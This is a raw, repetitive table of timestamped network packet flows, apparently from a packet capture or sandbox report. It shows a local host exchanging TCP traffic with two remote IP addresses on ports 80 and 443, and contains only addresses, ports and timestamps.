Nov 26, 2024 16:31:48.134922981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134922981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134934902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134946108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134948015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134958029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.134974003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.134989023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135018110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135029078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135040998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135051966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135056019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135063887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135081053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135083914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135096073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135099888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135107994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135119915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135127068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135133028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135145903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135150909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135165930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135175943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135180950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135190964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135195017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135204077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135215044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135215044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135227919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135238886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135251045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135253906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135262012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135273933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135277033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135284901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135293961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135298014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135309935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135310888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135329962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135330915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135343075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135355949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135360956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135368109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135375977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135380030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135391951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135402918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135410070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135420084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135421991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135428905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135437965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135449886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135454893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135462046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135473013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135483027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135490894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135495901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135504007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135515928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135521889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135550022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135611057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135623932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135678053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135689020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135724068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135726929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135735989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135811090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135823011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135833025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135840893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135844946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135857105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135865927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135869026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135881901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.135885954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135902882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.135927916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.137264967 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137295008 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137334108 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.137342930 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137356043 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137370110 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.137375116 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137392998 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137394905 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.137411118 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.137414932 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.137443066 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.137465000 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.138655901 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.149270058 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.149293900 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.149909973 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.149915934 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.166380882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.166991949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.167005062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.167066097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.168387890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.168402910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.169493914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.170350075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.170739889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.170753002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.170758963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.170764923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.171333075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.326917887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.326941013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.327014923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.328090906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328104019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328114986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328125954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328136921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328155041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328165054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328176022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328176022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.328188896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.328212023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.328268051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332137108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332149982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332160950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332173109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332202911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332212925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332225084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332237959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332254887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332259893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332272053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332283020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332302094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332313061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332318068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332324982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332331896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332336903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332353115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332355022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.332425117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.332461119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.343506098 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.343518019 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.343564034 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.343595982 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.343674898 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.343687057 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.344094992 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.349683046 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.349752903 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.349786043 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.349872112 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.350095987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350107908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350121975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350131989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350150108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350153923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350157022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350166082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350178003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350178957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350191116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350202084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350205898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350214005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350224972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350227118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350236893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350239992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350243092 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.350249052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350261927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350267887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350272894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350280046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350284100 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.350291014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350296974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350302935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350307941 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.350311995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350313902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350317955 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.350326061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350337029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350347042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350347996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350356102 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.350361109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350368023 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.350374937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350385904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350394011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350398064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350404024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350410938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350421906 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.350425959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350429058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350438118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350450039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350454092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350461006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350467920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350474119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350486994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350497961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350501060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350508928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350519896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350522995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350534916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350534916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350548029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350555897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350559950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350570917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350580931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350584984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350593090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350600958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350605011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350616932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350620031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350629091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350641012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350642920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350651979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350665092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350673914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350682020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350686073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350691080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350697994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350708961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350718021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350722075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350728989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350738049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350747108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350750923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350761890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350768089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350773096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350778103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350785017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350797892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350800991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350814104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350825071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350831032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350836992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350846052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350851059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350857973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350881100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350892067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350889921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350905895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350918055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350918055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350930929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350935936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350944042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350956917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.350970984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.350980997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351008892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351217031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351228952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351239920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351257086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351260900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351267099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351269960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351273060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351275921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351285934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351301908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351308107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351320982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351334095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351340055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351345062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351349115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351357937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351376057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351387978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351389885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351401091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351404905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351413012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351427078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351433039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351440907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351454973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351459980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351466894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351478100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351480007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351490021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351500034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351502895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351509094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351517916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351521969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351533890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351536989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351546049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351557016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351567984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351567984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351581097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351583958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351593971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351603985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351607084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351619005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.351640940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351640940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351713896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.351763964 CET	443	49880	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.351840019 CET	443	49880	13.107.246.63	192.168.2.6
